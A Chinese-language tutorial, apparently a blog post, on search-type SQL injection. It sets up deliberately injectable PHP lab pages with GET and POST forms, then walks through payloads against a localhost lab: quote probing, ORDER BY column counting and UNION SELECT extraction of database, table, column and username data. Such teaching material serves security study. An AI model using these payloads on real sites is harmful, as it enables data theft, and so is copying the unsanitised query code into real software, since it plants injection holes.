SQL注入——搜索型
SQL注入—搜索型
搜索型注入—原理介绍
一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在;
其中又分为 POST/GET ,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的 method="get" 属性来区分是get还是post。搜索型注入又称为文本框注入。

一般后台搜索组合的SQL语句如下:
$sql = "select * from user where password like '%$pwd%' order by password";
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?
ryan'and 1=1 and '%'='
这样的话这句SQL语句就变成了这样:
$sql = "select * from user where password like '%ryan'and 1=1 and '%'='%' order by password";
此时就存在SQL注入。
mysql模糊查询
like 匹配/模糊匹配,会与 % 和 _ 结合使用。
'%a' //以a结尾的数据
'a%' //以a开头的数据
'%a%' //含有a的数据
'_a_' //三位且中间字母是a的
'_a' //两位且结尾字母是a的
'a_' //两位且开头字母是a的
查询以 java 字段开头的信息。
SELECT * FROM position WHERE name LIKE 'java%';
查询包含 java 字段的信息。
SELECT * FROM position WHERE name LIKE '%java%';
查询以 java 字段结尾的信息。
SELECT * FROM position WHERE name LIKE '%java';
搜索型注入—注入判断
- 搜索
keywords',如果出错的话,有90%的可能性存在注入; - 搜索
keywords%' and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的and 1=1)看返回情况; - 搜索
keywords%' and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的and 1=2)看返回情况; - 根据2和3的返回情况来判断是不是搜索型文本框注入了。
以下几种语句也都可以:
'and 1=1 and '%'='
%' and 1=1 --+'
%' and 1=1 and '%'='
搜索型注入—GET型案例
<?php
header("Content-Type:text/html;charset=utf-8");
$pwd = $_GET['pwd'];
$conn = mysql_connect("127.0.0.1:8889","root","root");
if($conn){
echo "连接数据库成功!";
}
echo "<br>";
mysql_select_db('ryan',$conn);
$sql = "select * from user where password like '%$pwd%' order by password";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo "用户ID:".$row['id']."<br>";
echo "用户名:".$row['username']."<br>";
echo "用户密码:".$row['password']."<br>";
echo "用户邮箱:".$row['email']."<br>";
}else{
print_r(mysql_error());
}
mysql_close($conn);
echo "<hr>";
echo "你当前执行的sql语句为:"."<br>";
echo $sql;
?>
访问靶场

输入正常关键字进行查询
http://localhost:8888/get.php?pwd=ryan

加单引号进行尝试
http://localhost:8888/get.php?pwd=ryan'

加单引号出现报错,报错中出现
%号,猜测可能为搜索型注入使用以下payload进行测试
http://localhost:8888/get.php?pwd=ryan%' and 1=1 and '%'='
或者
http://localhost:8888/get.php?pwd=ryan%' and 1=1 --+

正常显示
继续尝试以下payload
http://localhost:8888/get.php?pwd=ryan%' and 1=2 and '%'='

无内容显示
通过以上测试,证明存在SQL注入漏洞
使用
order by判断列数http://localhost:8888/get.php?pwd=ryan%' order by 5 --+

order by 5时,报错
http://localhost:8888/get.php?pwd=ryan%' order by 4 --+

order by 4 时,正常显示
说明该数据表列数为4
判断回显位
http://localhost:8888/get.php?pwd=abc%' union select 1,2,3,4 --+

获取数据库名
http://localhost:8888/get.php?pwd=abc%' union select 1,database(),version(),4 --+

获取表名
http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4 --+

获取列名
http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='user'),3,4 --+

获取数据
http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(username) from user),3,4 --+

搜索型注入—POST型案例
<?php
header("Content-Type:text/html;charset=utf-8");
$id = $_POST['id'];
$conn = mysql_connect("127.0.0.1:8889","root","root");
if($conn){
echo "连接数据库成功!";
}
echo "<br>";
mysql_select_db('ryan',$conn);
$sql = "select * from user where id like '%$id%' order by id";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo "用户ID:".$row['id']."<br>";
echo "用户名:".$row['username']."<br>";
echo "用户密码:".$row['password']."<br>";
echo "用户邮箱:".$row['email']."<br>";
}else{
print_r(mysql_error());
}
mysql_close($conn);
echo "<hr>";
echo "你当前执行的sql语句为:"."<br>";
echo $sql;
?>
<form action="" method="POST">
id:<input name="id" type="text" /><br><br>
<input name="" type="submit" value="提交" />
</form>
访问靶场

正常查询id,使用burp抓包

加单引号进行尝试
id=1'

出现报错,且报错中出现
%号,猜测是搜索型注入使用以下payload进行测试
id=1%' and 1=1 --+

正常显示
id=1%' and 1=2 --+

无显示,判断存在注入
使用order by 判断列数
id=1%' order by 5 --+

id=1%' order by 4 --+

说明该表列数为4
判断回显位
id=abc%' union select 1,2,3,4 --+

其他操作跟以上GET型案例相同
SQL注入——搜索型的更多相关文章
- Sql注入--数字型手工测试
Sql注入--数字型手工测试 漏洞原因:是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行. 从而 ...
- 数据库其他注入思路 - 万能密码 - cookie注入 -搜索型注入
另类登录注入形式: 经常有一类验证(ASP,PHP,JSP均存在),先判断user是否存在,ASP为例子:"select password from admin where user_nam ...
- ctfhub sql注入字符型
手工注入 1, 检查是否存在注入 2.猜字段数.列数 3.获得注入点,数据库名称,数据库版本 4.获得表名 5.获得字段名 6.获得flag sqlmap方法 1.查数据库库名 2.查表名 3.查字段 ...
- ctfhub技能树—sql注入—字符型注入
打开靶机 查看页面信息 查询回显位 查询数据库名(查询所有数据库名:select group_concat(schema_name) from information_schema.schemata) ...
- SQL注入漏洞技术的详解
SQL注入漏洞详解 目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 Up ...
- SQL注入漏洞详解
目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 UpdateXml报错注 ...
- SQL注入靶场实战-小白入门
目录 SQL注入 数字型 1.测试有无测试点 2.order by 语句判断字段长,查出字段为3 3.猜出字段位(必须与内部字段数一致)(用union联合查询查看回显点为2,3) 4.猜数据库名,用户 ...
- KPPW2.5 漏洞利用--SQL注入
KPPW2.5 漏洞利用--SQL注入 SQL注入--布尔型盲注 环境搭建 1,集成环境简单方便,如wamp,phpstudy.... 2,KPPW v2.2源码一份(文末有分享)放到WWW目录下面 ...
- Sql注入的分类:数字型+字符型
Sql注入: 就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以 ...
- SQL注入之PHP-MySQL实现手工注入-字符型
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎 ...
随机推荐
- python selenium框架解决ip代理框不能自动化登录,解决pyautogui开不了多线程问题
有时候我们使用python自动化框架的时候,打开一个网页的时候,它会出现出线这一种登录框,我们f12检查不了,用开发者工具强制检查里面没有任何属性. 那这时候我们就可以用到python第三方库:pya ...
- Linux 中多终端同步 history 记录
很多文章都是第一时间在语雀进行了更新和发布,公众号的文章只是在语雀平台的基础上进行同步的,而且更新频率也会比语雀要慢.最近弃坑简书,入驻语雀,欢迎阅读原文来语雀一起交流学习. 基本认识 Linux 默 ...
- 顶级生物信息学 RSS 订阅源
早在 2018 年的时候我在"生信草堂"的公众号上写过一篇关于 RSS 的文章<使用 RSS 打造你的科研资讯头条>,介绍了关于 RSS 的一些内容和如何使用 inor ...
- 一次Mybaits查询的源码分析
很好奇Mybaits是怎么将xml和mapper对应起来的,用一段比较简单的demo去debug追踪一下源码看看 先用xml配置的方式,看懂了再去看注解的方式是怎么实现的 获取Mapper Mybai ...
- 2023-06-19:讲一讲Redis分布式锁的实现?
2023-06-19:讲一讲Redis分布式锁的实现? 答案2023-06-19: Redis分布式锁最简单的实现 要实现分布式锁,确实需要使用具备互斥性的Redis操作.其中一种常用的方式是使用SE ...
- Codeforces Round #880 (Div. 2) A-D
A 代码 #include <bits/stdc++.h> using namespace std; using ll = long long; int cnt[107]; bool so ...
- 深入JS——理解闭包可以看作是某种意义上的重生
JS中有一个非常重要但又难以完全掌握的概念,那就是闭包.很多JS程序员自以为已经掌握了闭包,但实质上是一知半解,就像"JS中万物皆为对象"这个常见的错误说法一样,很多前端开发者到现 ...
- PREDIV与PLLMUL配置应用笔记
下图为CH32V305/307和CH32F205/207时钟树框图,在此,以CH32V307VCT6芯片,外置25MHz晶振为例,简述图中PREDIV与PLLMUL的配置方法,最终实现144MHz系统 ...
- PerfView专题 (第十五篇): 如何洞察 C# 中的慢速方法
一:背景 1. 讲故事 在 dump 分析旅程中,经常会遇到很多朋友反馈一类问题,比如: 方法平时都执行的特别快,但有时候会特别慢,怎么排查? 我的方法第一次执行特别慢,能看到慢在哪里吗? 相信有朋友 ...
- Nginx配置Https缺少SSL模块(已解决)
1.Linux下Nginx配置https nginx下载和安装此处就忽略,可自行百度 1.1.配置https 打开nginx配置文件 vim /usr/local/nginx/conf/nginx.c ...